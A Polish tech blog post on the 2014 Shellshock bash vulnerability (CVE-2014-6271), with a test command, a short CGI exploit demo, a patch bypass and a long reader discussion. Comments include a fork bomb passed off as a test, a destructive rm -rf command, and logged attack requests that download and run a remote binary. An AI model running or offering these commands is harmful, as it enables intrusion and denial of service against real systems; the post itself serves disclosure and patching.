18:33
24/9/2014

Uwaga na CVE-2014-6271 — dzięki tej podatności w bashu (ale również sh i zsh, jak twierdzą niektórzy) można wykonać własny kod poprzez odpowiednią manipulację zmiennymi środowiskowymi.

Aby sprawdzić, czy jesteście podatni na tę dziurę, której już nadano nazwę “shellshock”, wydajcie komendę:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jeśli pojawi się słowo “vulnerable” — jesteście podatni. Należy jak najszybciej wgrać łatkę.

Przykładowy exploit:

[root@host cgi-bin]# rm -fr /tmp/aa
[root@host cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "hai"
[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi
hai
[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log
::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"
[root@host cgi-bin]# ls -l /tmp/aa
-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa
[root@host cgi-bin]# sestatus
SELinux status: enabled

Na atak podatne są m.in. wszystkie programy/skrypty wykonywane w shellu basha, które korzystają ze zmiennych środowiskowych (których wartość kontroluje użytkownik) – np. dhclient, któremu złośliwy serwer DHCP może wstrzyknąć odpowiednią zmienną i tym samym wykonać swój kod na kliencie.

Szerzej o błędzie na blogu RedHata. Ciekawy jest też wpis na blogu lcamtufa

Aktualizacja
Okazuje się, że patch nie łata błędu do końca… Taviso pokazał jak go obejść:

env X='() { (a)=>\' sh -c "echo date"; cat echo


Z racji dużej popularności tego posta, został on przeniesiony z naszego linkbloga o nazwie *ptr (dostępnego w sidebarze po prawej) na stronę główną.


Przeczytaj także:

174 komentarzy

Dodaj komentarz
  1. Mozna tez sprawdzic w prostszy sposob:

    $ :(){ :|:& };:

    • Hilarious… ;)

      Pozdrawiam.

      Andrzej

    • To jest tzw forkbomba, proszę nie odpalać przed głębszym zrozumieniem znaczenia tego pojęcia.

    • @dustpuppy: Fajne ale stare. I mimo że stare, to nadal fajne :)
      @Mat2: zrobi ktoś jeden raz, to zapamięta, że niesprawdzonego kodu się nie uruchamia “tak sobie”. Ileż ja widziałem jednolinijkowego “ciekawego” kodu zaczynającego się od “perl -e”… :)

    • bash: fork: Resource temporarily unavailable

      serio ktos jeszcze nie ma sensownego limitu na ilosc procesow w limits.conf?

    • Oj tam oj tam. Teraz to się ogranicza pamięć cgroupami…

    • https://www.youtube.com/watch?v=tIxDNo1jikE

    • Apropos przeklejania komend z internetów. Widziałam kiedyś forum na którym był sensowny kod, ale po kliknięciu w przycisk ‘skopiuj kod do schowka’ kopiował coś tego typu:

      echo ‘you just now remove your data… you have backups right?’

      Od tamtego czasu zawsze, ZAWSZE wklejam skopiowany tekst do notatnika zanim wrzucę to do konsoli ;-)

    • @postzdupy
      Panie kochany. To trochę nieładnie takie zgniłe jajko podrzucać korzystając z fermentu.

    • bash: fork: Zasoby chwilowo niedostępne

      ;>

  2. HA HA HA HA HA

    Macie za swoje, bezpruderyjni Linuksowcy!

    Pozdrawiam.

    • Nie macie, bo już załatana ( Przynajmniej w Archu ), znając Microsoft czekalibyśmy do 2 wtorku miesiąca…

    • Oberwalo nam sie straszliwie :P…

      Pozdrawiam.

      Andrzej

    • O dziurach w windowsie nie wspomnę…
      P.S. Dlaczego moderacja pozwala na obrażanie użytkowników innych systemów?

    • @Py64
      czujesz się obrażony, bo ktoś w internecie nazwał cię bezpruderyjnym?

    • a mi się na cygwinie odpaliło :p

    • No, Archa szybko załatali, miałem update zanim przeczytałem o tej luce ;)

    • Dla niektórych ironia jest bardzo niezrozumiałym pojęciem…

    • @agent_microsoftu:
      A ja(k) nie mam basha na linuksie?

    • Debian też szybko załatany (o dziwo).

      Pozdr.

    • w Debian i Centos też była aktualizacja zanim przeczytałem w lokalnych mediach ;)

    • *Ubuntu też załatane…

    • raczej nie sukskrybujesz CVE ;-)

    • Fedora też załatana… ale zaskakująco późno, zwykle robą takie rzeczy natychmiast, a tutaj można było się jeszcze pobawić…

  3. dobre :)

  4. Łata do najnowszego Mint-a już jest.

  5. O k***a jestem podatny, a byłem przekonany, że mój system jest odporny na wszystko :]

  6. No proszę, piszecie “aktualizować” a ja mam w aktualizacjach do zrobienia (w pon jeszcze nie było) :)

  7. Najnowasza wersja bash-4.3.024-2-i686 (ArchLinux) też załatana.

  8. Nie tylko bash, zsh również :(

    GNU bash, wersja 4.3.24(1)-release
    zsh 5.0.6 (x86_64-pc-linux-gnu)

    • mea culpa, zapomniałem zmienić na “$ env x='() { :;}; echo vulnerable’ zsh -c “echo this is a test””
      ZSH FTW :]

    • zsh nie jest podatny. Szczegóły na liście zsh-workers@

  9. Debian stable załatany w repo. Testing się aktualizuje, ale zapewne też.

    • https://security-tracker.debian.org/tracker/CVE-2014-6271 testing vulnerable

    • https://security-tracker.debian.org/tracker/CVE-2014-6271 testing vulnerable, więc słabo ;/

    • Yup, po aktualizacji wciąż działa. Słabo.

    • Testing nie znajduje się w obszarze zainteresowania Debian Security Team i poprawki bezpieczeństwa dostaje wtedy, kiedy zostaną automatycznie zmigrowane z Sida.

    • “Testing nie znajduje się w obszarze zainteresowania Debian Security Team i poprawki bezpieczeństwa dostaje wtedy, kiedy zostaną automatycznie zmigrowane z Sida.”

      bzdury waść pan piszesz w takim razie po co ten wpis?:
      deb http://security.debian.org/ testing/updates main contrib non-free

      w sidzie natomiast jest brak repozytorium z aktualizacjami bezpieczeństwa dlatego, że do unstable można dodać uaktualniony pakiet bezpośrednio, bez konieczności omijania zwykłego cyklu życia pakietów w Debianie…

  10. Hej, mam basha 4.3.24(1) na jessie. Biorę sobie patcha do mojej wersji: https://bugzilla.redhat.com/attachment.cgi?id=937490
    i robię:
    # patch -p0 < b.patch

    no ale niestety:
    can't find file to patch at input line 3
    Perhaps you used the wrong -p or –strip option?
    The text leading up to this was:
    ————————–
    |*** ../bash-4.3-patched/builtins/common.h 2013-07-08 16:54:47.000000000 -0400
    |— builtins/common.h 2014-09-12 14:25:47.000000000 -0400
    ————————–
    File to patch: ^C

    Jak go zastosować? ;/ jestem noobem ;(

    • @Tomek: to się na źródłach robi; a pewnie basha masz z paczki; zatem potrzebujesz paczki z poprawionym bashem;

  11. bash: warning: x: ignoring function definition attempt
    bash: błąd importu definicji funkcji dla `x’
    this is a test

  12. GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
    Copyright (C) 2007 Free Software Foundation, Inc.
    Mac OSX 10.9.4
    Niestety działa :/

    • Na 10.10 również działa ;)

  13. CloudLinux już jest też załatany.

  14. Robicie wielkie halo, a w sumie bez roota nie mam sposobu wykorzystać tę lookę. Więc taki secure problem to nie problem. Ktokolwiek z kolegów jest w stanie dać mi przykład realnego zagrożenia (w praktyce) na wykorzystanie tej luki?

    • ForceCommand w sshd. Niektóre Gity and Subversiony. Apache z mod_cgi / mod_cgid jeśli CGI scripts są napisane w bashu lub tam spawnowane (system/popen w C, os.system/os.popen w Python, system/exec w PHP i open/system w Perl). Generalnie każdy program wywoływany w bashu w którym kontrolujesz wartość zmiennej.

    • No i co to za przykład jaki user bez roota może cokolwiek więcej? Nie prosiłem o ctrl+c ctrl+v z artykułu. Prosiłem o przykład na realne przekroczenie uprawnień usera przy pomocy tej luki. W praktyce. Uważam, że dmuchacie w bańkę z nudów.

    • Przecież do “przekroczenia uprawnień usera” jak to nazywasz, wymagany jest jeszcze jakiś local exploit, jeśli ofiarą bashowego RCE jest osoba bez praw roota. DHCP natomiast można ciekawie tym przez sieć atakować. A jeśli w możliwości skasowania np. całości zawartości webserwera (albo lepiej; wybiórczej podmiany niektórych linii kodu na “złośliwe”) widzisz “dmuchanie w bańkę”, no to my już nic nie poradzimy.

    • Słuchaj. Ja nie piszę, że to nie luka, jedynie zawracam uwagę, że rozdmuchujecie bańkę – wyolbrzymiacie problem. Dałbym Wam po ssh dostęp na zwykłego usera i nic z tą luką nie Zrobicie. Hostingi, shelle, irssi srirsi itd – fakt mogą mieć jakiś tam większy problem i zwiększone ryzyko(bo i tak bez roota, lub praw do usług globalnych w systemie nadal nie Polecisz), ale normalne serwery? Oczywiście będę wniebowzięty jak mnie Wyprowadzicie z błędu.

    • @webster daj mi dostep do usera na ktorym puszczasz swoja strone internetowa. na 5 sekund, wiecej nie chce … deal?

    • Problem w tym że u mnie stronę puszcza apache i nic więcej, i co teraz?

    • a ja na moim zegarku mam windows, wiec nie mam basha

    • ?

    • Obawiam się, że kolega nie zrozumiał. U mnie usługa apache uruchamiana jest przez usera apache z grupy apache i nikt więcej.

      apache:x:80:80:User for Apache:/srv/httpd:/bin/false

      Do powłoki niet. Więc nie poskaczesz.

      Ja pracuję na slackware, nie Srubuntu, debiany srany itd. Minimalna ingerencja w pracę samego systemu. Uważam, że jeśli jest świadomy admin, to ta luka mu nie groźna.
      Chciałbym, by ktoś mnie z błędu wyprowadził.

    • Ok, wykonałem parę testów, jednakże faktycznie z external wykorzystania dziury przykładem dobrym może być cgi. Fakt posiadania cgi wystawionym na zewnątrz jest już dziurawe – ale niech będzie. Próbowałem wykonać cokolwiek innego niż echo z przykładu na wstępie posta: uname, cat i wszystko kończyło się błędami.

      Fakt echo może poczyścić stronę / zamienić itp.
      CGI jest groźne i zawsze było.

      Macie jakiś jeszcze przykład spoza sewera ?

    • Jeszcze dodam, że spróbowałem wykonać exploit na cgi przykładowego lstat – nie zadziałał, tak więc zakładam, że sukces wykonania exploita poprzez CGI jeszcze zależy od braku kontroli czegoś w kodzie.

    • Co oczywiście dalej dowodzi jak mało prawdopodobne jest wykorzystanie tej rozdmuchanej luki i ile musi mieć cracker szczęścia w środowisku.

    • Można narobić jak masz siebie w sudoers bez hasła dla wygody (komputer domowy nie musi być zabezpieczony jak jakiś Fort Knox). Na szczęście w OpenSuSE już załatane ;).

    • Ah, już późna pora i oczywiście z LSTAT się rozpędziłem. Zapomniałem że o basha się rozchodzi :)

    • “Co oczywiście dalej dowodzi jak mało prawdopodobne jest wykorzystanie tej rozdmuchanej luki i ile musi mieć cracker szczęścia w środowisku.”

      Cracker? Czy tak trudno uniknąć dwuznacznych obcojęzycznych wtrąceń?

      s/cracker/włamywacz/

      Nie ma sensu dyskutować nad tym czy ktoś zna w tym momencie dobry przykład wykorzystania czy nie. Zmienne środowiskowe nie powinny wykonywać kodu. Tego typu myślenie otwiera właśnie drogę do przejęcia kontroli nad czyimś serwisem. Być może ta dziura jest słaba, ale w połączeniu z innym błędem stworzy okazję do ataku. Dla przykładu poczytaj chociażby o tym w jaki sposób można obejść ograniczenie flagi NX nakładane na stos wykonywanego programu.

      Zmienne środowiskowe oraz bash są używane zbyt szeroko by przechodzić nad tego typu dziurą do porządku dziennego.

    • webster – przez ludzi myślących jak Ty ten internet jest tak dziurawy ;)
      Więcej pokory młodzieńcze, bo raczej w krytycznych środowiskach produkcyjnych taka podatność jest zabójcza (no chyba że ktoś ładnie jail’uje wszystko ;) ).

      Pozdrawiam.

    • You forgot about bit suid :D

    • @znachor

      Jak czytałeś pewnie uważnie – napisałem, że oczywiście nie neguję iż jest to luka i jest poważna, jednak zrobiono z niej wielkie ogromne halo. Starałem się udowodnić, że stworzenie sytuacji która byłaby zagrożeniem wykorzystania tej luki jest trudna do spotkania.
      Zwyczajnie postami swoimi namawiałem do spokojnego czekania na fixbug i tyle.
      Dzięki takim ludziom jak ja jest net dziurawy? Lol. Chyba mnie z kimś mylisz :)

    • Niby niegroźne, ale github wypuścił szybkiego fixa. Pewni chodziło o dostęp ssh do repozytoriów.

    • @webster, być może dziura nie jest specjalnie groźna dla systemów, nad którymi czuwają kompetentni admini, ale pamiętaj że na rynku jest mnóstwo urządzeń dla przeciętnego użytkownika, które działają pod różnymi linuksami w dziwnych konfiguracjach. Tylko czekać aż znowu okaże się, że można w ten sposób przejąc kontrolę nad routerami, w które masowo wyposaża dostawca swoich użytkowników. Co by nie mówić, możliwość wykonania własnego kodu w czymś tak popularnym jak Bash to dosyć poważna dziura i nawet jeżeli żadne konkretne sposoby wykorzystania nie przychodzą nikomu z nas w tym momencie do głowy, to pamiętaj że atakujący mają bujną wyobraźnie ;).

    • Podejrzewam że dekodery TV jak i same smart (prawie jak) TV mogą być dość podatne, ale to raczej w celach żartowo-botnetowych. Tak samo jak i inne set-top-boxy, których użytkownicy mogą nawet nie widzieć że w środku jest komputer i system operacyjny.

    • W sumie racja.

      Pozdr.

    • Dziura może być dość groźna na wszelkich serwerach trzymających repozytoria GIT z narzędziami typu gitolite, gitlab albo nawet git web, może potencjalnie dać użytkownikowi dostęp do repozytoriów do których dostępu mieć nie powinien, a to już może być naprawdę spora luka bezpieczeństwa w zależności od tego, co na tych repozytoriach trzymamy…

    • Przyjmę serwery do kopania dogecoina… czy co tam się teraz kopie :p

  15. Nazwa ‘env’ nie jest rozpoznawana jako polecenie wewnętrzne lub zewnętrzne, program wykonywalny lub plik wsadowy.

    • Wydawało mi się że wpis był dość jasny, zwłaszcza tytuł, ale jak widać nie bardzo.. To jest dziura w bashu a nie w dosie

    • @Filip: Czego Ty chcesz jak tutaj teraz pełno januszy, którzy nie wiedzą o co chodzi w artykułach.

    • U mnie na notatniku też nie chce działać ;)

    • ale w notepad++ już zadziałało ;)

  16. Czy aktualny wygląd strony http://linux.pl/ ma z tym jakiś związek?

    • Tam jest jeszcze Apache 2.2.22.
      2.4.x zapewne dopiero w “natarciu” ;-)
      Ciekawe, jak z reszta? Ide spac.
      Dobranoc! SL

    • Jeszcze 2.2 ? Stabilna wersja Apache 2.4 wyszła niespełna dwa miesiące temu. Poważne serwisy nie bawią się w tego typu beta-testy :/

    • A mi to wygląda na problem z DNS, przekierowali na inny serwer…

  17. Ubuntu załatane.

  18. Mam radość z linuksowców :) Aha, komentarze typu “już załatane” nie zmienią mojej radości (jeśli ktoś znał tę lukę wcześniej to zdążył już swoje pomysły urzeczywistnić)

    • Poczytaj dyskusję wyżej.

    • … a co do Twojej radochy to Pamiętaj że (zgaduję) na twój windows prawie codziennie wychodzi jakiś exploit.

    • no tak, bo linux to nie system, linux to stan umysłu :) (webster, wytrzyj pianę)

    • skoro zaczyna być więcej exploitów na linuksa, czy to znaczy że ten system jest coraz bardziej popularny?

    • Już :)

    • tssss…. bo linulsa trzeba jeszcze umieć skonfigurować i obsługiwać

  19. Niemniej jednak, http://www.linux.pl wyglada (stan: 24.09.2014, 23:38 naszego czasu) wyglada ciekawie:
    “It works!
    This is the default web page for this server.
    The web server software is running but no content has been added, yet.”
    Pozdrowka, SL

    • jak z adresu odjąć “www”, to ta strona wyglada tak dziwnie i obecnie (25.IX, późno); może tak ma?

  20. a kto normalny korzysta z niezaufanych serwerów dhcp na swoich serwerach, w ogóle na serwerach to się static ip ustawia, więc to jest w stylu możesz polecenie rm z odpowiednimi parametrami nie będę pisał celowo jakimi, umożliwia usunięcie większości systemu co można też uznać za poważny błąd samego systemu ale nie oszukujmy się Linux jest dla osób świadomych jak ten system działa i że najlepiej nadaje się po prostu na serwer, poważniejszy exploit to już był heartbleed w OPENSSL(dotyczył nie tylko Linuxa ale i BSD). Tutaj faktyczne wykorzystanie opisanego wyżej exploita w shellu może wystąpić przy bardzo rzadko spotykanych okolicznościach to mniej więcej jak z wirusami na Linuxa, są szkodliwe ale tylko w bardzo ściśle określonych warunkach które występują niezwykle rzadko i raczej trzeba mieć dostęp root’a by podmienić binarki

    • I tu się zgadzam.

    • Jeśli pijesz do rm -rf /*, to w nowych Linuksach jest już to zabezpieczone, w openSuSE np. jak próbowałem to wykonać na VM-ce (nie jestem samobójcą) to mi pokazało na czerwono że to zniszczy system bez możliwości naprawy i czy na pewno tego chcę.

    • Drogi HAL9000. Zapominasz, że nie tylko serwery istnieją, a każdy komputer z Linuksem i np. wadliwym dhclient (z powodu luki w bash) może być potencjalnym celem. Założyć w sieci swój serwer DHCP jest bardzo łatwo, wystarczy mieć komputer z pełnymi prawami, czyli np. domowy notebook lub zrootowany smartfon i już możesz każdemu wstrzyknąć co trzeba.

      Ze świecą szukać sieci, gdzie wdrożony jest NAC, więc większość sieci jest podatna. Ratuje tylko to, że większość komputerów klienckich to jednak Windows, a serwery mają, jak sam napisałeś, z reguły statyczne IP.

    • SuperTux: wkep unalias -a, a później rm -rf /* – takie zabezpieczenie to nie zabezpieczenie, tylko info dla niedoświadczonych użytkoniwków :)

    • @SuperTux To wpisz rm -rf /usr

  21. dziś chyba latał się debian

  22. Slackware również już clear

  23. W Manjaro będę musiał czekać pewnie do soboty :(

    • Właśnie, że nie, bo aktualizację już wydali. :)

  24. bash: warning: x: ignoring function definition attempt
    bash: błąd importu definicji funkcji dla `x’
    this is a test

    Jestem czysty?
    Ubudubu 14.04

  25. https://access.redhat.com/articles/1200223
    tutaj fajnie opisują “Product Affected”

  26. Luka nie została poprawnie załatana – CVE-2014-7169.

    • We FreeBSD już załatana:
      $ svn log /usr/ports/shells/bash | head -n 8
      ————————————————————————
      r369261 | bdrewery | 2014-09-25 17:38:56 +0200 (czw) | 5 linii

      Fix CVE-2014-3659. The original fix in 25 was not enough.

      Obtained from: http://seclists.org/oss-sec/2014/q3/690 (bash developer)
      Security: CVE-2014-3659

  27. Ubuntu 14.04 dziurawe też
    Jak się daje inne polecenie niż echo wywala segmentation fault :P
    Ciekawe, czy teraz nadejdzie wielka fala wykorzystania tego błędu :P

    • Tz dziurawa jest wersja “poinstalacyjna” wystarczy wydać polecenie apt-get install bash to instaluje niedziurawą ;)
      Wywala segfalut ale polecenie się wykonuje

  28. co do CVE-2014-6271 to RedHat mowi przeciez:
    Red Hat has become aware that the patches shipped for this issue are incomplete. An attacker can provide specially-crafted environment variables containing arbitrary commands that will be executed on vulnerable systems under certain conditions. The new issue has been assigned CVE-2014-7169. For details on a workaround, see: https://access.redhat.com/articles/1200223
    (warto przeczytac link)

    a wiec zostaje nam teraz jeszcze CVE-2014-7169:
    https://access.redhat.com/security/cve/CVE-2014-7169

  29. po co bash w ogóle interpretuje zmienne podczas swojej inicjalizacji, zamiast je wziąć takimi jakie są? basha w zasadzie nigdy nie lubiłem, a że wszędzie go wpychają jako shell….. trudno. mam nadzieję że bash podzieli dolę sendmaila (linux user).
    kto to widział żeby w ogóle z treści zmiennej importować funkcję?
    kto to widział żeby po imporcie robić dalsze wykonywanie za średnikiem? ech…. bash….

  30. Patch nie do końca działa – proponuję update posta, bo wykonanie tego niżej dalej wchodzi:(

    env X='() { (a)=>’ bash -c “echo echo vuln”; [[ “$(cat echo)” == “vuln” ]] && echo “still vulnerable :(“

    • -bash: syntax error near unexpected token `(‘

    • Bo komentarze podmieniają znaki cudzysłowie pojedyncze i podwójne na jakieś ukośne dziwolągi.
      Popraw “ciapki” i będzie ok, tam są tylko pojedyncze i podwójne cudzysłowia, żadnych tyld, backticków itp.

    • Poszło

  31. Bo komentarze podmieniają znaki cudzysłowie pojedyncze i podwójne na jakieś ukośne dziwolągi.
    Popraw “ciapki” i będzie ok, tam są tylko pojedyncze i podwójne cudzysłowia, żadnych tyld, backticków itp.

  32. A jak mozna zalatac to na Cygwin?

    • Po prostu skompilować nowszego basha… poza tym Cygwin również posiada repozytorium binarek, zobacz czy nie udostępnili spatchowanej wersji.

  33. Do kenjiro
    słuchaj jeśli chodzi wlezienie z obcym dhcpem do jakiejś sieci to po pierwsze zanim coś komuś wstrzykniesz to spowodujesz niezłych chaos w sieci dwa walczące dhcp widziałem już takie jazdy jak kiedyś kolega konfigurował mikrotika przez lan zamiast podpiąć lapka bezpośrednio no i jak włączył dhcp to się działo w sumie to żadna stacja nie mogła się w ogóle do czegokolwiek podpiąć no ale może w takiej sytuacji może i by coś wstrzyknęło, chyba że admini wyłapią to wcześniej bo jak dwa dhcpy walczą to się nie da nie wyłapać tego, choć to też nie jest tak że od razu stacja zepnie się z drugim dołączonym dhcpem bo z tego co kojarzę to klient co pewien czas robi renew, a przy dzisiejszych narzędziach monitorujących (Nagios, Icinga, Observium i pewnie wiele wiele innych) jest możliwość wykrycia na czas że coś jest nie tak, druga sprawa wejście ze zrootowanym telefonem, w większości firm wifi stoi za firewallem czyli weba poprzeglądasz, a zasobów firmowych i stacji roboczych nie wymacasz, a raczej szybko się wyłapie że jakiś czesiek ci się do gniazda sieciowego wpina jak masz mapę sieci to i nawet bez kamer i ruszania 4liter zza biurka możesz wezwać ochronę budynku w wypadku mniejszych firm osobiście zdezelować mu machę;), a do domu byle kogo się nie wpuszcza i byle komu klucza do wifi się nie podaje, sam mam lapka z mintem i w8.1, ale nie korzystam z hotspotów, bo jak dla mnie to każdy z nich może być honeypotem, wolę spiąć smarta po lte i zrobić z niego router dla lapka leci bezpośrednio przez operatora a nie przez kompa marszczącego nie powiem co gimnazjalisty który się jara tym że zrobił MiM

    • Like byś ode mnie dostał ale nie ma jak :D

    • Nie korzystanie z hot spotów jest IMO paranoiczne. Nie prościej sobie VPN zapiąć ?

    • A czy przypadkiem nie wystarczył by DOS na oryginalnego DHCPa, żeby przestały ze sobą walczyć?

    • Tak owszem pewnie by wystarczył atak D.O.S. ale to by raczej nie uszło uwadze(zazwyczaj dhcp jest bramą również a przynajmniej to moja praktyka) w większości corpo jak się panienkom z marketingu pudelek nie otwiera to zaraz dzwonią na helpdesk, helpdesk robi szybki recon o co chodzi i zgłaszają do admina, taki proceder nie trwa 5 sekund ten dhcp który często robi za bramę jakiś czas się będzie stawiał na byle czym takich serwerów się nie powinno stawiać, a poza tym dobrą praktyką jest wdrożenie monitoringu sieci jak i samych stacji roboczych

    • A o DHCP Snooping tutejsi geniusze nie słyszeli?

  34. może i prościej ale najczęściej robię tak jak robię z jeszcze jednego powodu, co z tego że se weba podepnę, po pierwsze narażam się na to co może mi zrobić obcy dhcp a druga sprawa co mi po samym webie, czasem pocztę chcę sprawdzić po 995 i 587 często dostajesz jedynie 80 i w tedy to nawet możesz się vpnem nie zapiąć, a poza tym ja często adminuje w ruchu więc czasem potrzebuję 22 albo 3389, a często jest też tak że hotspoty dają ci tak mały transfer że już wolę po lte przez smarta zapiąć i wtedy ma to większy sens, uważam że im mniej niezaufanych pośredników tym lepiej

  35. a druga sprawa niema rozwiązań i systemów wolnych od błędów są tylko źle przetestowane, więc wojna Windows vs Linux jest zupełnie pozbawiona sensu – to tak w nawiązaniu do komentarzy a “Windows tej dziury niema” albo “na twojego Windowsa co dzień wychodzą exploity” to tylko systemy operacyjne dzieło rąk ludzkich ludzie ogarnijcie się bo będzie za późno :P

    • Czy Ty masz świadomość, że każdy post tutaj jest okraszony przyciskiem /reply/?

    • ty o faktycznie a co merytorycznego wniosło to do dyskusji, jesteś tego świadom ??

  36. Tylko AmigaOS 3.x na m68k jest bezpieczne.

    • Zapomniałeś że C64 BASIC V2 także nie jest podany ;p

  37. ..uzywam i smindolsa i linuxa…ale dlaczego nazwa “windows”…okna …okna w domu to jak dziury w serze..he he he

  38. “na twojego Windowsa co dzień wychodzą exploity”

    na twoją przeglądarke też.
    Tyle w temacie odwieczna wojna nieudaczników.

    Co do samego buga, to typowy bug dla downów i robienie z burzy w muszli klozetowej

  39. mając zrootowany telefon oraz zainstalowanego basha również jest ta luka, uważać!

  40. Przeciekło do mainstreamu! Właśnie mówili o poddatności w tzw. “baszu” w Trójce :)

  41. Dziś rano dostałem od e24cloud.pl maila właśnie z opisem błędu. Informowali i zalecali szybką naprawę.

    Bardzo pochwalam sobie takie maile od firmy hostingowej i nie jest to krypto reklama, bo hostingów tańszych a na podobnym poziomie jest wiele. ;-)

  42. Każdy Administrator w swojej sieci powinien mieć na przełącznikach odpalone DHCP Snooping i wtedy postawienie złośliwego DHCP serwera nic nie da “crackerom”, chyba że (l)administrator w sieci korzysta z mydelniczek.

    • Popieram wdrażanie również tego typu technik ochrony sieci, ale cały artykuł z mojego punktu widzenia wygląda w sumie tak “jeżeli któryś z komputerów w twojej sieci posiada śrubki do odkręcenia obudowy może być potencjalnie zagrożony atakiem złego włamywacza ze śrubokrętem, może wykręcić dysk co grozi wyciekiem danych” fizycznie możliwe ale w praktyce raczej tak mało prawdopodobne jak to że mógłbym nakopać zaprawionemu w bojach kibolowi, a suche chuchro ze mnie, fizycznie wykonalne musiałbym się pewno mimo to napocić, a on musiałby stać i nic nie robić, wykonalne ?? Być może i owszem ale w praktyce jednego liścia bym zainkasował i było by po zawodach :P

    • Inna sprawa to też to że nie wszędzie to wdrożysz szeczgólnie u mniejszych klientów dla których zakup switcha zarządzanego to koszt nie do przeskoczenia bo serwer i stacje robocze pochłonęły cały budżet na ich IT, ale u nich wejście podpięcie dhcpa(czyli wpięcie czegoś nietypowego do gniazda sieciowego, wifi zawsze powinno być odseparowane) to tak jakby wejść na posterunek policji i zapytać czy nie chcą kupić trochę kolumbijskiego towaru więc od strony technicznej ta sieć jest mniej bezpieczna ale faktycznie bez dhcp snooping’u ta sieć również sobie świetnie radzi bo jest mała, i jak księgowa wyłapie delikwenta, jak przyfanzoli poradnikiem płatnika VAT w łepetynę to cracker będzie uciekał gdzie raki zi…gdzie pieprz rośnie :P, ale żarty na bok w dużych sieciach dhcp snooping to normalna praktyka. Popieram, popieram, popieram.

  43. eeee jeśli to kiedykolwiek działało to debian jużdawno załatał :)

    • Fakt, w końcu to debian poprawia kod za develop basha…

  44. Jeśli dobrze rozumiem to ten błąd w bashu będzie szczególnie niebezpeczny w połączeniu z jakimś innym exploitem, dzięki któremu uda się nabyć przywileje roota.

    Czy generalnie w takich sytuacjach spełni swoje zadanie RBAC z Grsecurity i atakujący nie przejmie kntroli nad systemem?

    • Skąd pomysł że włamywacz musi chcieć roota? Jemu wystarczy kolejny node w botnecie który będzie wykonywał polecenia, długo i po cichu ;)

  45. “hakerzy” faktycznie sprawdzają cgi-bin

    209.126.230.72 – – [25/Sep/2014:04:57:08 +0200] “GET / HTTP/1.0” 403 209 “() { :; }; ping -c 11 209.126.230.74” “shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)”
    162.253.66.76 – – [25/Sep/2014:05:24:54 +0200] “GET / HTTP/1.0” 400 347 “() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;” “Thanks-Rob”
    89.207.135.125 – – [25/Sep/2014:14:34:33 +0200] “GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 403 235 “-” “() { :;}; /bin/ping -c 1 198.101.206.138”

  46. http://www.shellshocktest.com/

  47. Ale sie rozgadali… ;)

    Pozdrawiam.

    Andrzej

  48. Android 4.4.4 na urządzeniu OnePlus One (niezrutowanym) też podatny. Ciekawe jakie będą skutki tej luki. O ile basze na serwerach można sobie od biedy pokompilować ze źródeł to w takim telefonie będzie problem. Zwłaszcza, że androidowych telefonów od różnych dostawców jest cała masa.

  49. Tyle komentarzy zajmuje tu cenne miejsce i czas czytelników, a nikt nie zauważył, że:
    1. skryptów nie pisze się w bashu tylko w sh (pomijając specjalne przypadki i wannabe skrypciarzy),
    2. jak ktoś używa dystrybucji, w której do /bin/sh podlinkowany jest bash (jakie to w ogóle?), to sam jest sobie winien (kiedyś ksh, dziś dash czy mksh – to rozsądny wybór),
    3. używanie basha do pracy również zakrawa na masochizm (zsh).

    • ad1. W tym się pisze, w czym się lubi, chce i potrzebuje.
      ad2. AFAIK starsze debiany, ale nie tylko. Poza tym wyglądasz jakbyś kopał leżącego. Gdyby ten bug dotyczył zsh też byś tak robił (a widzę że preferujesz zsh), hm?
      ad3. rozmawiasz o gustach, czy o kolorach? ;)

  50. Na Ubuntu 14.04 po zpatchowaniu ten ‘drugi exploit’ nie działa:
    robert@TESTBOX:~$ env X='() { (a)=>\’ sh -c “echo date”; cat echo
    date
    cat: echo: No such file or directory
    robert@TESTBOX:~$

  51. […] informowaliśmy was o poważnej dziurze w bashu (niektórzy mówią, że poważniejszej niż Heartbleed) i zastanawialiśmy się ile czasu minie do […]

  52. Zabrakło sekcji “Co robić? Jak żyć?” ;)
    btw. zapewne wielu adminów ma urządzenia które mają stare wersje systemów Linux (tak stare że już niewspierane) a nowych się nie przewiduje bo “to embedded” (centrale, cmtsy, bramy, routery, stacje cyfrowe, zapomniane zakurzone 10 letnie rzęchy na torrenty, itd. itp. …) ;) i są wystawione w sieci (w lanie lub co gorsza w internet) lub z userami… (a wiadomo że trust-no-one), i wtedy pojawia się konieczność “z łapy”:
    1.
    #> wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz; tar zxvf bash-3.2.tar.gz; cd bash-3.2
    #> for i in $(seq -f “%03g” 1 55); do wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i; patch -p0 ./configure && make
    2. nie robiłbym make install. Dlaczego? Bo różne systemy różnie trzymają pliki i można sobie zrobić burdel – zresztą róbta co chceta – ja nie robiłem i działa.
    3. i tak na prawdę wystarczy znaleźć w systemie binarke bash (/bin/bash lub /usr/bin/bash lub /usr/local/bin/bash) i zamienić na nową (starą warto sobie zachować jako bash.old), nie zapomnijcie chmod 755 bash; chmod 0 bash.old ;)
    4. zanim się wylogujecie, zalogujcie się z innej sesji na konto USERA a potem ROOTa i sprawdźcie czy w ogóle da się zalogować (znam przypadki że nie…)
    5. ten sposób *NIE ELIMINUJE* SHELLSHOCKA (CVE-2014-7169), jeszcze. Więc w sumie albo wykonać teraz i drugi raz gdy pojawi się patch “053” (na http://ftp.gnu.org/gnu/bash/bash-3.2-patches/) lub zrobić raz – dopiero gdy się pojawi ;)
    6. system komentarzy mógł coś popsuć w linijkach z komendami, więc link do oryginału na podstawie którego to napisałem: https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/

    • a Czemu nie robić 4.3 ?

    • +1

